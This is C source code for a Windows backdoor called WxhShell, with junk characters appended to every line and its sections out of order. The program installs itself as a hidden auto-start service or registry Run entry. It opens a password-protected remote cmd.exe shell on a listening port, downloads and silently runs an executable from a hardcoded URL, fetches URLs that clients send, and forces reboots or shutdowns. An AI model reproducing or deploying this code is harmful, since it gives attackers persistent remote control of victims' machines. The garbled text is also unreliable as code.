    if(Boot(SHUTDOWN)) 6&5D4 V  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F Z RnIg  
    else { yY!)2{F+  
    closesocket(wsh); ev0>j4Q  
    ExitThread(0); 0'THL%lK  
    }  0Gc:+c7{  
    break; ?-%(K^y4r  
    } ]'?Ue7  
  // 获取shell  3s| :7  
  case 's': { )t3`O$J  
    CmdShell(wsh); d>mT+{3  
    closesocket(wsh); tl{{Vc[  
    ExitThread(0); g\q4-  
    break; 5073Q~  
  } - f ^ ! R  
  // 退出 <,0/BMz  
  case 'x': { ?% 8%1d  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); L1I1SFG  
    CloseIt(wsh); /\<x8BJ  
    break; }apno|W&  
    } l`l6Y>c*]  
  // 离开 1<Mb@t  
  case 'q': { XkkzY5rxOc  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); :!Dm,PP%  
    closesocket(wsh); yGNpx3H  
    WSACleanup(); KAD2_@l  
    exit(1); o~e_M-  
    break; BfCM\ij  
        } #"~\/sb   
  } aNY-F)XWa  
  } rQlQ^W$=?  
t:V._@  
  // 提示信息 N%>h>HJ  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); o?m1  
} n*ShYsc  
  } ?< ^8,H  
n{<}<SVY  
  return; j;b>~_ U%  
} 3M+rFB}tS  
^'`(E_2u  
// shell模块句柄 Al6%RFt  
int CmdShell(SOCKET sock) T [xIn+w  
{ G/FDD{y  
STARTUPINFO si; _EP]|DTfr  
ZeroMemory(&si,sizeof(si)); ZiQ<SSo:  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; oy#(]K3`O  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; )-1e} VF(U  
PROCESS_INFORMATION ProcessInfo; P (7Q8i'  
char cmdline[]="cmd"; zj] g^c;  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ;` Xm?N  
  return 0; xRgdU+,Mj  
} q78OP}  
fap]`P~#L  
// 自身启动模式 _eq$C=3Ta  
int StartFromService(void) Hcg7u7M{  
{ <z2.A/L  
typedef struct &v*4AZ['  
{ r,.j^a  
  DWORD ExitStatus; '" %0UflJS  
  DWORD PebBaseAddress; D8u`6/^  
  DWORD AffinityMask; pO7OP"q1  
  DWORD BasePriority; DpA)Vdj  
  ULONG UniqueProcessId; Rh)XYCM  
  ULONG InheritedFromUniqueProcessId; *_YR*e0^nN  
}   PROCESS_BASIC_INFORMATION; XC~"T6F  
<F&XT@  
PROCNTQSIP NtQueryInformationProcess; Q>+rjN;  
6@/k|t>OT  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; =oh%-Sh:  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; l#T %N@X  
!',%kvJI  
  HANDLE             hProcess; W).Kq-  
  PROCESS_BASIC_INFORMATION pbi; hGrX,.zj  
X)iI]   
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); DMsqTB`  
  if(NULL == hInst ) return 0; 56c[$ q  
b:~#;$g  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); wE=I3E%  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); N2}Y8aR~  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); M\k[?i  
^&mrY[;S  
  if (!NtQueryInformationProcess) return 0; y0T#Qq  
U _A'/p^D  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); O%>*=h`P  
  if(!hProcess) return 0; B@ufrQ#Y.  
tKe-Dk9  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; eHs38X  
EZ"i0u  
  CloseHandle(hProcess); {.e+?V2>_  
~F,Y BX  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ,9I-3**W  
if(hProcess==NULL) return 0; Hik=(pTu>  
6la'\l#  
HMODULE hMod; T+B-R\@t  
char procName[255]; M6Xzyt|  
unsigned long cbNeeded; %{rb,6  
>jmHe^rH  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); (G./P@/[  
Uvc$&j^k  
  CloseHandle(hProcess); O:rf DO  
d(^HO~p  
if(strstr(procName,"services")) return 1; // 以服务启动 s1::\&`za  
-?1R l:rM  
  return 0; // 注册表启动 | Z7 j s"  
} x;bA\b  
n^|xp;] :  
// 主模块 l/nBin&YGv  
int StartWxhshell(LPSTR lpCmdLine) zvq}7,  
{ 3ww\Z8UeK  
  SOCKET wsl; jLM y27Cn  
BOOL val=TRUE; McS]aJfrk  
  int port=0; 0`WFuFi^o  
  struct sockaddr_in door; 0n2H7}Uq  
W(Sni[c{  
  if(wscfg.ws_autoins) Install(); C<T6l'S{?  
pnp8`\cIH  
port=atoi(lpCmdLine); J[Mj8ee#  
D8~\*0->  
if(port<=0) port=wscfg.ws_port; t$t'{*t( T  
u]O}Ub`  
  WSADATA data; (b[=~Nh'  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 9__Q-J  
*}#HBZe(9  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   r 9M3rj]  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); [ypE[   
  door.sin_family = AF_INET; "m6G;cv  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); \zk>cQ  
  door.sin_port = htons(port); c C) <Y#1  
q&?hwX Z7  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { r 20!   
closesocket(wsl); <zTz/Hk`  
return 1; )[ UYCx'  
} [9 :9<#?o^  
N\.g+ W  
  if(listen(wsl,2) == INVALID_SOCKET) { |unvDXx-  
closesocket(wsl); \/SOpC  
return 1; zx:;0Z:S6>  
} ZRw^< +  
  Wxhshell(wsl); $>_`.*I/  
  WSACleanup(); dZ* &3.#D5  
yk4py0xVl  
return 0; q^^R|X1  
*w ^!\  
} h\Y~sm?!`  
3"my!}03  
// 以NT服务方式启动 daSx^/$R  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) />:$"+gKo  
{ AEWrrE  
DWORD   status = 0; GJE+sqMX1  
  DWORD   specificError = 0xfffffff; {hf_Xro&  
jG& 8`*|*  
  serviceStatus.dwServiceType     = SERVICE_WIN32; @J6r;4|&  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; D8E^[w!  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; }LX!dDuwA  
  serviceStatus.dwWin32ExitCode     = 0; Si23w'T  
  serviceStatus.dwServiceSpecificExitCode = 0; .) %, R  
  serviceStatus.dwCheckPoint       = 0; dikX_ Q>D  
  serviceStatus.dwWaitHint       = 0; LB$0'dZU  
[z7]@v6b  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ER&\2,fZ  
  if (hServiceStatusHandle==0) return; k+i0@G'C(  
#a|r ^%D  
status = GetLastError(); n++ak\  
  if (status!=NO_ERROR) %)dp a  
{ @J^ Oy 3z  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; l$HBYA\Qh  
    serviceStatus.dwCheckPoint       = 0; /&@q*L  
    serviceStatus.dwWaitHint       = 0; ?/,V{!UTtq  
    serviceStatus.dwWin32ExitCode     = status; >XuPg(Ow  
    serviceStatus.dwServiceSpecificExitCode = specificError; gth_Sz5!#  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); t(.vX  
    return; V5 9Vf[i|  
  } 9]G~i`QQ  
:]8A;`G}  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; } 21!b :a  
  serviceStatus.dwCheckPoint       = 0; vs$. i  
  serviceStatus.dwWaitHint       = 0; 4 s9^%K\8{  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); &h6 `hP_  
} T(cpU,Q  
, :KJ({wM  
// 处理NT服务事件,比如:启动、停止 &i`(y>\  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ehe#"exCB  
{ E2.!|u2  
switch(fdwControl) 5yV>-XT+-  
{ ||7x51-yj  
case SERVICE_CONTROL_STOP: Gcxz$.(  
  serviceStatus.dwWin32ExitCode = 0; [V;u7Z\r-  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ]D2 d=\  
  serviceStatus.dwCheckPoint   = 0; I>-1kFma;  
  serviceStatus.dwWaitHint     = 0; |x _jpR  
  { 81I9xqvSd~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); CA$|3m9)NM  
  } 7o*~zDh@fH  
  return; L1@<7?@X  
case SERVICE_CONTROL_PAUSE: D7B g!*  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; W ,]Ua]  
  break; fP( n3Q  
case SERVICE_CONTROL_CONTINUE: dg0WH_#  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Vm I Afe  
  break; :2A-;P4  
case SERVICE_CONTROL_INTERROGATE: !L)|N<  
  break; nU2w\(3|  
}; ^8?px&B y:  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^ Vc(oa&;  
} 6s! =de  
tjne[p  
// 标准应用程序主函数 <fgf L9-  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) J~ z00p`E  
{ }tH_YF}u  
3 }#rg  
// 获取操作系统版本  Qk.[#  
OsIsNt=GetOsVer(); 4C;"4''L  
GetModuleFileName(NULL,ExeFile,MAX_PATH); d=g,s[FMm  
zItGoJu  
  // 从命令行安装 ZNDjk  
  if(strpbrk(lpCmdLine,"iI")) Install(); ,v9*|>4  
j4#S/:Q<7  
  // 下载执行文件 ]qk`Yi  
if(wscfg.ws_downexe) {  @]V_%,  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 2aUE<@RU[  
  WinExec(wscfg.ws_filenam,SW_HIDE); 9A\\2Zz6F  
} k/Ao?R=@gI  
2>^jMln  
if(!OsIsNt) { >IZ$ .-  
// 如果时win9x,隐藏进程并且设置为注册表启动  (S&D  
HideProc(); NV2$ >D  
StartWxhshell(lpCmdLine); ;s$ P?('  
} M^/ZpKeT"  
else 0A75)T=lQ  
  if(StartFromService()) %e/L .#0  
  // 以服务方式启动 4(8BWP~.y2  
  StartServiceCtrlDispatcher(DispatchTable); S=`#X,Wo  
else U\"FYTC  
  // 普通方式启动 reNUIDt/c  
  StartWxhshell(lpCmdLine); pEG!j ~  
G8b`>@rZ  
return 0; aq^OzKP?  
} `] Zil8n  
H5A7EZq}`  
r{Z4ifSl(  
u$(XZ;Jg  
=========================================== i6:O9Km  
W3B:)<f  
)=#zMdK&  
N8{ 8 a  
h,i=Y+1  
7<93n`byM  
" *Ud P1?Y  
f(c#1AJE53  
#include <stdio.h> =$< .:b  
#include <string.h> A+"'8%o9}  
#include <windows.h>  KzZRFEA_  
#include <winsock2.h> zi+NQOhR  
#include <winsvc.h> vyruUYFWe  
#include <urlmon.h> #nS crs@  
$1|65j[e  
#pragma comment (lib, "Ws2_32.lib") p{O@ts:  
#pragma comment (lib, "urlmon.lib") Lr(My3vF8q  
e,@5`aYHM@  
#define MAX_USER   100 // 最大客户端连接数 O|&SL03Z8  
#define BUF_SOCK   200 // sock buffer uVZX53 ,g  
#define KEY_BUFF   255 // 输入 buffer ])Z p|?Y  
EzXi*/  
#define REBOOT     0   // 重启 "bvob G  
#define SHUTDOWN   1   // 关机 ,y[w`Q\  
o? wEX%  
#define DEF_PORT   5000 // 监听端口 7k#0EhN1>  
X[1w(dU[  
#define REG_LEN     16   // 注册表键长度 81S0:=   
#define SVC_LEN     80   // NT服务名长度 pT<I!,~  
d{c06(#_  
// 从dll定义API .2*h!d)E  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); `s_k+ g  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Ev1gzHd!i  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ;^so;>F  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); cwI3ANV  
Lz`_&&6  
// wxhshell配置信息 1<pb=H  
struct WSCFG { D#d \1g  
  int ws_port;         // 监听端口 Wf-Pa9  
  char ws_passstr[REG_LEN]; // 口令 $`"$ZI6[  
  int ws_autoins;       // 安装标记, 1=yes 0=no _5v]69C#  
  char ws_regname[REG_LEN]; // 注册表键名 Z" dU$ ,n  
  char ws_svcname[REG_LEN]; // 服务名 jFwJ1W;?-  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 l +# FoN  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 _?;74VWA  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 94u~:'t>V  
int ws_downexe;       // 下载执行标记, 1=yes 0=no C&RZdh,$  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" '2ACZcjDSv  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 OBnvY2)Ri  
$NwPGy?%  
}; NnO%D^P]  
7G  3e  
// default Wxhshell configuration GBGna3  
struct WSCFG wscfg={DEF_PORT, [yDOv Q[  
    "xuhuanlingzhe", ffem7eQ  
    1, wo\O 0?d3{  
    "Wxhshell", J''lOj(@  
    "Wxhshell", w)"F=33}5  
            "WxhShell Service", QzV%m0  
    "Wrsky Windows CmdShell Service", T&]IPOH9  
    "Please Input Your Password: ", .}iRe}=  
  1, Rh{`#dI~=  
  "http://www.wrsky.com/wxhshell.exe", *:Y9&s^6j  
  "Wxhshell.exe" sn yA  
    }; Z#s-(wf  
F[~~fm_  
// 消息定义模块 G-Zn-I  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; HnY.=_G  
char *msg_ws_prompt="\n\r? for help\n\r#>"; !s[ gv1  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; >,c'Z<TM  
char *msg_ws_ext="\n\rExit."; /7K7o8g  
char *msg_ws_end="\n\rQuit."; ;rt\  
char *msg_ws_boot="\n\rReboot..."; e}2[g  
char *msg_ws_poff="\n\rShutdown..."; Fuo.8  
char *msg_ws_down="\n\rSave to "; a!;CY1>  
fTd":F  
char *msg_ws_err="\n\rErr!"; *):s**BJ$  
char *msg_ws_ok="\n\rOK!"; qex::Qf  
@g1T??h   
char ExeFile[MAX_PATH]; :-cqC|Y  
int nUser = 0; =+"-8tz8FV  
HANDLE handles[MAX_USER]; r-&* `Jh  
int OsIsNt; L:Me  
m0JJPBp  
SERVICE_STATUS       serviceStatus; z=qxZuFkDs  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; `k3sl 0z%  
JgcMk]|'  
// 函数声明 gTg[!}_;\N  
int Install(void); t CQf `  
int Uninstall(void); fILD~  
int DownloadFile(char *sURL, SOCKET wsh); "2`/mt Mon  
int Boot(int flag); Q57Z~EsF  
void HideProc(void); 9zaSA,}  
int GetOsVer(void); k j&hn  
int Wxhshell(SOCKET wsl); ,/UuXX  
void TalkWithClient(void *cs); u\=yY.   
int CmdShell(SOCKET sock); ^fti<Lw5  
int StartFromService(void); (_eM:H=e>  
int StartWxhshell(LPSTR lpCmdLine); x^y&<tA  
sh}eKwh  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 4J$dG l#f  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); NeniQeR   
{$v>3FG  
// 数据结构和表定义 7:wf!\@ I  
SERVICE_TABLE_ENTRY DispatchTable[] = |7b@w;q,D  
{ gO kum_  
{wscfg.ws_svcname, NTServiceMain}, g3\1 3<  
{NULL, NULL} Z xR  
}; V#V<Kz  
= '<*mT<  
// 自我安装 (sEZNo5n  
int Install(void) Q6fPqEX=  
{ +}NQ |y V  
  char svExeFile[MAX_PATH]; 1K[y)q  
  HKEY key; 0Yfz?:e  
  strcpy(svExeFile,ExeFile); =[`gfw  
QE`u~  
// 如果是win9x系统,修改注册表设为自启动 UsdUMt!u  
if(!OsIsNt) { Tywrh9[  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { L7s _3\  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); JO\KTWtjO  
  RegCloseKey(key); _6C,w`[[6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 2yA+zJ 46B  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _ Zzne  
  RegCloseKey(key); t&rr;W]  
  return 0; ':|?M B  
    } D~@lpcI  
  } %QX"oRMn0  
} fnudy% oo  
else { YG>6;g)Zm  
B-tLRLWn   
// 如果是NT以上系统,安装为系统服务 x!A5j $k0  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); AI3\eH+  
if (schSCManager!=0) D?r% Y  
{ P;p;o]  
  SC_HANDLE schService = CreateService UUxP4  
  ( zWf(zxGAz  
  schSCManager, 'z">4{5  
  wscfg.ws_svcname, o.>Yj)U  
  wscfg.ws_svcdisp, ]H=P(Z -  
  SERVICE_ALL_ACCESS, :6}cczQE|O  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , /P/::$  
  SERVICE_AUTO_START, !4mAZF b  
  SERVICE_ERROR_NORMAL, 8iN@n8O  
  svExeFile, RJLhR_t7n  
  NULL, DWu~%U8  
  NULL, <"x *ZT  
  NULL, r }Nq"s<  
  NULL, YPS,[F'B.  
  NULL 3H,>[&d  
  ); mJS-x-@  
  if (schService!=0) mcSZ1d~,(  
  { &Ef6'  
  CloseServiceHandle(schService); t}Kzh`  
  CloseServiceHandle(schSCManager); zjwo"6c>  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); f9J]-#Iif  
  strcat(svExeFile,wscfg.ws_svcname); mW @Z1Plxs  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 5C"A*Fg?;  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Ui;PmwQc&  
  RegCloseKey(key); kF7`R4Sz  
  return 0; \t]aBT,  
    } (JeRJ4  
  } f`_6X~ p  
  CloseServiceHandle(schSCManager); *wK7qS~VB2  
} cUZ^,)8 Z  
} v$bR&bCT  
r2>y !Q?  
return 1; =!PUKa3f<  
} Xc7Qu?}  
_c6 zzGtH  
// 自我卸载 u"M^qRhD  
int Uninstall(void) /R)(u@jk  
{ wvg>SfV,e  
  HKEY key; g;<_GL  
!FJ_\UST0  
if(!OsIsNt) { X.<2]V7!  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { m4kUA"n5  
  RegDeleteValue(key,wscfg.ws_regname); cLCzLNyKl  
  RegCloseKey(key); &\s>PvnquX  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { iC\t@BVS  
  RegDeleteValue(key,wscfg.ws_regname); kR|(hA,$N  
  RegCloseKey(key); T1pMe{  
  return 0; v0S7 ]?_  
  } j8#B  
} pM7xnL4  
} O{`r.H1',  
else { U2VnACCUZs  
@X*r5hjc  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); -YP>mwSN?  
if (schSCManager!=0) BFyVq  
{ B~2\v%J  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); wXxk+DV@  
  if (schService!=0) OM 5h>\9  
  { dsJHhsu6  
  if(DeleteService(schService)!=0) { YKs^aQm#  
  CloseServiceHandle(schService); cYMlc wS  
  CloseServiceHandle(schSCManager); Gr?[s'Ze  
  return 0; 5UHxB"`C  
  } u6(>?r-  
  CloseServiceHandle(schService); $I-i=:}g  
  } 1p9+c~4l:  
  CloseServiceHandle(schSCManager); m]NyEMYg  
} RW. >;|m  
} d^.fB+)A3  
L E>A|M$X  
return 1; lj!f\C}d  
} "?Cx4<nsM  
ndIU0kq3  
// 从指定url下载文件 9 6'{ES9D  
int DownloadFile(char *sURL, SOCKET wsh)  Gp/yr  
{ \kGi5G]  
  HRESULT hr; 4X &\/X  
char seps[]= "/"; H]7;O M/g  
char *token; a jCx"J  
char *file; 2nRL;[L*.  
char myURL[MAX_PATH]; VfiMR%i}  
char myFILE[MAX_PATH]; bLysUj5[5  
Gq/f|43}@O  
strcpy(myURL,sURL); /8SQmh$+e  
  token=strtok(myURL,seps); I(dMiL  
  while(token!=NULL) |[VtYV _{  
  { $(6 .K-D  
    file=token; THM\-abz  
  token=strtok(NULL,seps); lll]FJ1  
  } L@|W&N;%a  
j:9kJq>mv  
GetCurrentDirectory(MAX_PATH,myFILE); _/_1:ivY8  
strcat(myFILE, "\\"); _ s]=g  
strcat(myFILE, file); u,e(5LU  
  send(wsh,myFILE,strlen(myFILE),0); DVNGV   
send(wsh,"...",3,0); cia4!-#  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); vRLkz4z   
  if(hr==S_OK) Xh/i5}5 t  
return 0; ?5#Ng,8iT  
else 6.Nu[-?  
return 1; T7AFL=  
.oq!Ys4KA  
} >69+e+|I  
kN4nRW9z  
// 系统电源模块 @83h/Wcxd  
int Boot(int flag) ai(<"|(  
{ pHFh7-vj  
  HANDLE hToken; g< cR/  
  TOKEN_PRIVILEGES tkp; 5O Ob(  
fn zj@_{|  
  if(OsIsNt) { .[hQ#3)W  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); PnsQ[}.  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); _XtLO- D  
    tkp.PrivilegeCount = 1; )""i"/Mn  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; J<Wz3}w6  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); L!3AiAnr  
if(flag==REBOOT) { <R7* 00  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) {}?s0U$5  
  return 0; S<f&?\wK=v  
} %Yg;s'F>#q  
else { p;:tzH\l  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) aC>r5b#:  
  return 0; n37C"qJ/i  
} 0}qij  
  } e_+`%A+-  
  else { Eo\# *Cv*  
if(flag==REBOOT) { WIXzxI<)  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Qw^nN(K!>  
  return 0; kwdmw_  
} UM7Ft"  
else { Tk9*@kqv  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 0k>NuIIP  
  return 0; [UquI "  
} 6g!#"=ls;  
} -8qLshQ  
?6B)Ek,'X?  
return 1; 4x=rew>Ew  
} {o7ibw=E)  
R! ?8F4G  
// win9x进程隐藏模块 x;LyR  
void HideProc(void) VG+Yhm<SL  
{ &by,uVb=|{  
?]f+)tCMs  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); B4R!V!Z*  
  if ( hKernel != NULL ) OekcU% C  
  { TQ" [2cY  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 8[,,Kr)-  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); #O^H? 3Q3  
    FreeLibrary(hKernel); N7%Jy?-+  
  } GC H= X  
Gp$[u4-6M6  
return; 2Y&z}4'j  
} |A 7Yv  
79uL"N;  
// 获取操作系统版本 `8\pihww  
int GetOsVer(void) NaG1j+LN  
{ d7^:z%Eb|  
  OSVERSIONINFO winfo; z]Z>+|  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); /J3e[?78u  
  GetVersionEx(&winfo); XYWGX;.=  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) J7emoD [  
  return 1; {{f%w$r(  
  else .Q?cNSWU  
  return 0; I o7pp(  
} ?;+=bKw0  
sqei(OXy  
// 客户端句柄模块 4eYj.=I  
int Wxhshell(SOCKET wsl) +f+x3OMX3  
{ xx nW1`]  
  SOCKET wsh; z >vzXM  
  struct sockaddr_in client; C#p$YQf  
  DWORD myID; rYeFYPS  
+kH*BhSj  
  while(nUser<MAX_USER) Jm\'=#U#  
{ -&M9Yg|Se  
  int nSize=sizeof(client); sJ7r9 O`x  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ai`fP{WlX  
  if(wsh==INVALID_SOCKET) return 1; Sq UoXNw  
8Y sn8  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); f 7y1V(t  
if(handles[nUser]==0) a>.2Q<1  
  closesocket(wsh); @YU}0&  
else Io5-[d  
  nUser++; Xl2Fgg}#  
  } C z4"[C`;  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); E4HG`_cWb  
g/mVd;#o  
  return 0; |M[E^  
} jkFS=eonK  
8K]fw{-$L  
// 关闭 socket e~ W35Y>A  
void CloseIt(SOCKET wsh) SBAq,F'  
{ [O&2!x  
closesocket(wsh); >VE,/?71@  
nUser--; (JocnM|U  
ExitThread(0); e8a_)TU?  
} 68*h#&  
8PDt 7 \  
// 客户端请求句柄 a_L&*%;  
void TalkWithClient(void *cs) +Ys<V  
{ 9|D!&=8   
:w#Zs)N  
  SOCKET wsh=(SOCKET)cs; Um4 }`  
  char pwd[SVC_LEN]; ?2 u_E "  
  char cmd[KEY_BUFF]; gJ+MoAM"  
char chr[1]; 1 [[` ^v  
int i,j; +%7yJmMw  
{K09U^JU  
  while (nUser < MAX_USER) { E O52 E|  
B$ +YK%I  
if(wscfg.ws_passstr) { sI@m"A  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); pez[qs  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); T3@wNAAU  
  //ZeroMemory(pwd,KEY_BUFF); go|/I&  
      i=0; S s@\'K3e  
  while(i<SVC_LEN) { ES;7_.q  
t*.O >$[  
  // 设置超时 >O&(G0!N+}  
  fd_set FdRead; ,LSF@1|Fx  
  struct timeval TimeOut; D}SRr,4v  
  FD_ZERO(&FdRead); gLsl/G  
  FD_SET(wsh,&FdRead); (Vf&,b@U_  
  TimeOut.tv_sec=8; !?D PI)  
  TimeOut.tv_usec=0; T@U_;v|rf  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 7Z0 )k9*  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); hvtg_w6K  
>5% o9$|z  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ?#-"YO7  
  pwd=chr[0]; _SY<(2s]B  
  if(chr[0]==0xd || chr[0]==0xa) { z\pT nteO  
  pwd=0; 8v8?D8\=|  
  break; pD9*WKEf*  
  } <K=:_  
  i++; S:v]3G  
    } SZpBbX$  
``nuw7\C:  
  // 如果是非法用户,关闭 socket T6=c9f?7  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); vDV` !JU  
} %C" wUAY  
*TfXMN ?w  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); rZLTai}`>  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); WogJ~N,d53  
%`F6>J  
while(1) { skh6L!6*<  
&?"(al?  
  ZeroMemory(cmd,KEY_BUFF); = 7d{lK  
p[4KN(PyK  
      // 自动支持客户端 telnet标准   - K0>^2hh  
  j=0; e[$=5U~c  
  while(j<KEY_BUFF) { T6=,A }t-  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); oS 7q#`  
  cmd[j]=chr[0]; )[|TxXz d  
  if(chr[0]==0xa || chr[0]==0xd) { N\ChA]Ck  
  cmd[j]=0; !f2f gX  
  break; fW~r%u .y  
  } QFY1@2EC  
  j++; bX6eNk-L  
    } 5 < wIJ5t  
u27K 0}  
  // 下载文件 i+( k  
  if(strstr(cmd,"http://")) { /oKa?iT  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); [#`)Bb&w  
  if(DownloadFile(cmd,wsh)) 3jZPv;9OC  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); .aV#W@iyK  
  else lQj3# !1}  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); as=Z_a:0N  
  } JnQ5r>!>3  
